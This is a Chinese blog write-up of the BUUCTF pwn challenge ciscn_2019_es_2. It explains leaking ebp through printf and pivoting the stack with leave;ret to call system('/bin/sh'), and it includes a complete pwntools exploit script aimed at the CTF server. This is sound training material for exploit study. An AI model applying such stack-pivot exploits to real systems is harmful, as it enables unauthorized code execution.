BUUCTF栈迁移ciscn_2019_es_2

[BUUCTF]PWN——ciscn_2019_es_2 ciscn_2019_es_2 附件 步骤: 例行检查,32位程序,开启了nx保护 32位ida载入,shif+f12查看程序里的字符串,这边的“echo flag” 是个迷惑性的字符串,它只是输出了flag这4个字符,但是程序里有system函数,到时候这个函数可以直接拿来使用 system_addr=0x80048400 main函数 程序主体在vul函数里 读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入 阅读详情

1.checksec+运行获取基本信息

32位+NX堆栈不可执行

2.常规IDA操作

1.main函数

并没有什么

2.int vul()函数

程序主体,信息很多

1.两次read都在往同一个地方s处读入数据

2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作

但是shift+f12

 这里仅仅是打印flag字符串,没有用

同时查看hack函数

system里面的参数不是bin_sh不能直接用,所以要修改system的参数

但是...........

s只有0x28,要读入0x30,所以只有0x30-0x28=0x8的空间让我们构造ROP链

于是乎

我们找新的地方,足够大来构造,也就是

栈迁移

但是栈迁移不是想用就能用的,需要满足条件

1.存在leave ret的gadget指令

2.存在可执行shellcode的地方(system函数,自己写入binsh)

 利用思路+具体操作

题目两次read读入,有两次溢出,第一次溢出需要泄露栈上地址,为第二次迁移准备(确定迁移地址)

程序提供了printf函数,该函数有一个特性,在没有遇到终止符"\0"会一直输出,可利用它泄露出栈上地址,得到劫持位置的准确地址.

payload1 = b'A' * (0x27) + b'B'#留一个位置补"\0"#连带打印出ebp的地址
p.send(payload1) # 不要用 sendline,sendline会发送空格,导致无法补"\0"中断
p.recvuntil("B")#接收printf返回的ebp前要先recv前面read输入的内容
old_ebp = u32(p.recv(4))
print(hex(original_ebp))

缓冲区参数s的位置可以用ebp寻址,所以用printf泄露ebp的地址

用gdb确定参数位置

应该是不能在main函数下断点,断点下在main函数,不能再输入参数了

单用gdb不开root权限,可以输入,但是好像不能看栈的结构

 其实下在main函数处

输入n,多运行几步,n到可以输入参数的位置就行了,但是要注意别n过头了

所以在想一个问题:

如何找到合适的下断点的位置?

目前还没有找到,先记下了----2022年4月22日晚10点记

将断点下在vul函数的nop位置

 输入bbbb确定位置

python 计算一下

 

 确定s位置

ebp-0x38

具体攻击过程

1.覆盖原栈上ret为leave ret的地址

2.将old_ebp覆盖为old_ebp-0x38,old_ebp已通过printf泄露出来

栈空间不会复原,而是

之后执行第二个leave ret,也就是已经实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果

接下来

为常规的栈溢出操作,执行 system 的shellcode 以完成对 eip 与执行流的篡改

payload2 = b'aaaa'

payload2 += p32(system_addr)

payload2 += b'bbbb'

payload2 += p32(original_ebp - 0x28) #迁移到新位置就是一个正常的栈溢出,s大小为0x28
payload2 += b'/bin/sh\x00' 
payload2 = payload2.ljust(0x28, b'p')

 补充:Python ljust知识

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

str = "this is string example....wow!!!";

print str.ljust(50, '0');

输出结果: 

this is string example....wow!!!000000000000000000

接着构造

payload2 += p32(original_ebp - 0x38) # 参数s的位置
payload2 += p32(leave_ret) # new leave ret

写到这里,最后交互,攻击就结束了

完整的脚本

from pwn import*
#p=process('./ciscn2019es2')
p=remote("node4.buuoj.cn",28058)



system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) 
payload2 += p32(leave_ret) 

p.sendline(payload2)
p.interactive()

[栈迁移][BUUCTF][PWN] ciscn_2019_es_2 前置知识: 栈迁移概念:当存在栈溢出且可溢出长度不足以容纳 payload 时,可采用栈迁移。一般这种情况下,溢出仅能覆盖 ebp 、 eip 。因为原来的栈空间不足,所以要构建一个新的栈空间放下 payload ,因此称为栈迁移。 栈迁移原理:栈执行命令是从esp指向的位置想ebp指向的位置执行。正常情况退栈的操作是:esp指向ebp指向位置,ebp指向ebp里的内容所指向的位置。当遇见leave|ret命令的时候,相当于执行mov esp ebp; pop ebp; ret;作用就是将ebp指向的位置给 阅读详情

相关推荐

人工智能情感分析实战:文本情绪识别

人工智能情感分析,特别是文本情绪识别,已成为理解和处理人类情感信息的重要工具。通过数据预处理、特征提取、模型训练与评估等步骤,我们可以有效地从文本数据中提取情感信息,为各种应用场景提供有价值的洞察。随着技术的不断进步和创新,情感分析的应用前景将更加广阔,为我们的生活和工作带来更多便利和机遇。

shejizuopin的博客 1095

[PWN] BUUCTF ciscn_2019_es_2

[PWN] BUUCTF ciscn_2019_es_2解题分析漏洞利用payload解析程序执行过程图参考: 解题分析 按照惯例checksec一下,开了NX与RELRO 运行程序,查看逻辑,两次input,并且回显Hello,input 32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造 payload=0x28*‘a’+ebp+backdoo

空城惜梦的博客 1718

k-Wave仿真例程:创建超声换能器并绘制声场分布

k-Wave软件是为了模拟超声波在1D、2D或3D中的传播。应用示例包括:- 均匀和非均匀介质中的传播- 模拟各种类型的传感器- 模拟多普勒效应- 衍射、折射和反射- 光声、超声成像- 波束合成、成像重建- 模拟弹性波。

weixin_38452364的博客 6326

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。一、代码审计有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。

Mr_Fmnwon的博客 901

带标签的PHM2009齿轮箱数据集

PHM2009附加数据集—带标签的齿轮箱数据集,可用于测试算法

qq_39379705的博客 4873

黑猫带你学eMMC协议第33篇:eMMC CQE功能介绍——一种模仿UFS命令队列的发送机制

本文详细介绍了eMMC协议中的Command Queuing Engine (CQE)及其相关功能。CQE是eMMC 5.1版本引入的新特性,旨在通过硬件处理命令队列,简化软件代码的编写。文章首先介绍了CQE的基本概念,包括其与Host Controller Interface (HCI)的区别,以及CQE如何通过Task Descriptor List (TDL)管理任务。接着,文章详细描述了CQE如何发送命令和数据给eMMC,并解释了Task Descriptor和Transfer Descriptor

黑猫奥利奥的博客 981

【BUUCTFPWN】ciscn_2019_es_2 栈迁移 栈劫持

【BUUCTFPWN】ciscn_2019_es_2题解

m0_55368674的博客 1172

YOLOv11改进策略【SPPF】| 将特征金字塔池化修改为:SPPCSPC,提升模型的特征提取能力和计算效率。

本文记录的是。YOLOv7中的SPPCSPC(Spatial Pyramid Pooling Cross Stage Partial Connections)模块是一种结合了(SPP)和(CSP)的改进结构,本文将其添加到YOLOv11中,

Limiiiing的博客 1821

ciscn_2019_es_2【BUUCTF】

与往常溢出不同的是,该溢出仅仅只能溢出8(0x30-0x28)字节的数据,恰好就是覆盖ebp和ret地址数据,并且存在两处溢出漏洞。因此可以用read函数将system(“/bin/sh”)读到当前栈中,并返回让其执行该函数即可。这里有两个问题,1.system(“/bin/sh”)存储地址如何得知 2. 如何返回该system地址执行函数。

qq_41696518的博客 1268

在RStudio中使用GitHub Copilot:代码自动生成,从此告别手敲!

可以通过自定义提示词来引导Copilot生成符合自己需求的代码。再看一个做统计分析的。

Codewar的博客 331

西门子 S7-1200 G2 高速计数器的使用方法介绍

西门子 S7-1200 G2 高速计数器的使用方法介绍

Robot_PLC_HMI_Automation 1697

[BUUCTF]ciscn_2019_es_2 栈迁移

一上来就看到了hack函数,不过是个陷阱,不多赘述,真正的漏洞在vul()函数里:这里s的长度只有40(0x28),但是通过read读取了0x30字节的数据。相当于可以溢出8字节的数据。在ubuntu里用file看一下这是个32bit程序,那么移除8字节的话刚好就是ebp和ret的长度,再多的就构造不了了,所以需要使用栈迁移。本人纯新手,第一次接触到栈迁移,查了很多资料,也自己调试了很多次才搞明白的。这里主要讲我做题的时候不懂的地方,有些其他博客里写了的东西我就少说点。

lec2022的博客 2055

Autosar CAN 网络管理测试用例(3)——Repeat Message Timer 时间测试

Autosar CAN 网络管理测试用例(3)——Repeat Message Timer 时间测试

蚂蚁小兵 2465

buuctf-ciscn_2019_es_2(栈迁移)

本文分析了CISC_2019_ES_2的栈溢出漏洞利用方法。由于栈空间限制,无法直接构造ROP链,因此采用栈迁移技术。通过IDA静态分析发现read函数读取0x30字节数据时存在栈溢出漏洞,偏移量为0x2c。利用printf函数泄露ebp地址,计算得到迁移目标地址为ebp-0x38。通过构造payload覆盖ebp并利用leave_ret指令(地址0x08048526)实现栈迁移,为后续ROP链构造创造条件。文中详细介绍了调试过程和利用思路,并提供了部分exploit代码。

hanjinming110的博客 937

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

【栈迁移】[BUUCTF]ciscn_2019_es_2

0x30字节数据给s,s大小是0x28,只能溢出0x8字节,刚好覆写ebp和ret。ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell。第二次直接往栈上写入后门 函数 system(‘/bin/sh’),之后利用leave;第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址。如果我们输入的内容正好把ebp前面的区域完全覆盖,这样就没法在末尾补上’\0‘,可以将rop链写到栈上,再将栈劫持到我们写的地方就可以了。

s_hiy_iyi的博客 603

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

buuctf中的ciscn_2019_es_2(栈迁移)

从上面可以看到s的宽度为40字节,可以将栈迁移到这里执行system函数,所以我们需要知道s的地址,这里我们可以通过s相对于ebp的偏移算出s的地址,但是我们得先拿到ebp的地址,printf有个bug可以让我们拿到ebp的地址,就是如果我们刚好输入了0x28个字节的数据,及将ebp前面的内容都覆盖上,在没遇到/0的情况下,printf会把ebp的地址打印出来,用这个方法拿到ebp的地址。第三行:先将ebp覆盖为s的地址,然后再将ret覆盖为leave_ret的地址。-开启了栈不可执行保护。

2301_79485835的博客 1308

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)

答:先说明一点,我们第二次构造payload时往ebp填入ebp-0x38是为了让它在执行完函数原有的leave,ret之后ebp指向b'a'*4的头地址,但要注意这里不是输入ebp-0x28,因为第一个printf打印出来的是ebp里的内容而不是ebp的地址,通过动态调试可以知道ebp里面的内容是ebp+0x10的地址,我们打印出来的就是ebp+10的地址,这里就要填入ebp-0x38才能使ebp指向b'a'*4的头。答:首先要明白32位是通过栈传参的,这样的形式是32位的调用函数的调用规则。

2301_79326813的博客 2023

【BUUCTF】ciscn_2019_es_2

【BUUCTF】ciscn_2019_es_2 看下程序 有两处read可以溢出,但只能溢出刚好盖到ebp和ret 由于memset只清了0x20,所以可以泄露出ebp 有system函数,但参数不对 思路:运用栈迁移,迁移到我们写入的前面的部分,写rop链,就可以开shell了 由于需要跳转到我们写入的前面的部分需要知道它的地址,地址=ebp地址-偏移。 用gdb-peda调试,断点设在vul函数,一步步跟进,可以输入aaaa 然后searchmem aaaa stack 来查看栈状态 (这图可能

m0_51251108的博客 422

buuctf ciscn_2019_es_2 栈迁移(二)

buuctf ciscn_2019_es_2 栈迁移(二) 相关的方法和步骤在后面注明 from pwn import * proc_name = '/home/pwn/Desktop/ciscn_2019_es_2' p = remote('node3.buuoj.cn', 27732) elf = ELF(proc_name) system_plt = elf.plt['system'] main_addr = elf.sym['main'] leave_ret = 0x80484b8 log.in

weixin_45441024的博客 423

从BUUCTF之ciscn_2019_es_2简单复习栈迁移,即stack pivoting

简单栈迁移,栈迁移简单

Probeginner的博客 1420

BUUCTF ciscn_2019_es_2

BUUCTF ciscn_2019_es_2 的wp

2401_85052854的博客 905

PWN——栈迁移

简单一句话就是控制esp指针的指向。实现指令:eave;ret 指令Leave等价于:其实就是在做栈恢复上一次栈空间的操作。但这过程中能恢复到上次的栈的关键数据为当前ebp指向地址上值(oldebp),当我们通过溢出覆盖原本的oldebp值时,然后将leave;ret 程序段地址放在返回地址上,那么就可以实现将esp迁移至我们想要的地方(取决于oldebp上的覆盖的地址,注意这里会抬高4字节,64位抬8字节)。第一次leave第一次ret:因为esp还是指向leave;.........

L2329794714的博客 1901

巧借东风:32位栈迁移破解ciscn_2019_es_2的空间困局

巧借东风:32位栈迁移破解ciscn_2019_es_2的空间困局

2301_76794844的博客 1175

[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

[BUUCTF-pwn]——ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解写的详细一点。 栈劫持 or 栈迁移 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够用,没办法有效构造rop链。这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做到栈劫持(栈迁移)。 leave 等价于 mov ebp, esp; pop

Y_peak的博客 2254

栈迁移详解 例题buuctf ciscn_2019_es_21

ret的过程中随着移动到ebp-38的位置,假如我将shell的函数在第二次read时写入vul()函数的局部变量区域,那么程序就可以成功执行system的代码了;这么说有点抽象,放个我自己做的图;由这张图我们可以看出,当我们可以读入0x30个字节但字符串从EBP-0x28的位置开始填充的时候,我们只能覆盖掉调用者EBP和返回地址,这个时候想要在栈区放一些我们自己构造的ROP链或者shellcode是放不下的。看下图,这时候出现了栈空间不够的问题,只能覆盖8个字节,即ebp和返回地址;执行前后示意图如下;

m0_73680206的博客 379

buuctf-pwn ciscn_2019_es_2题解(学习过程持续更新)

本文是一篇关于栈迁移技术的学习笔记,作者通过解决名为pwn_es2的CTF题目记录了自己的解题过程。题目是32位程序,开启了NX保护,存在缓冲区溢出但空间有限(仅能覆盖返回地址)。作者通过构造ROP链和'/bin/sh'字符串,利用栈迁移技术(leave;ret指令)将栈指针切换到缓冲区,成功执行system函数获取shell。文章详细介绍了如何计算偏移地址、获取关键内存地址、构建payload(包括处理pop ebp的细节),最终通过脚本攻击获得flag。

2501_93570847的博客 405
上一篇: CTFshow PWN 格式化字符串漏洞pwn10
下一篇: 攻防世界格式化字符串漏洞greeting150
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值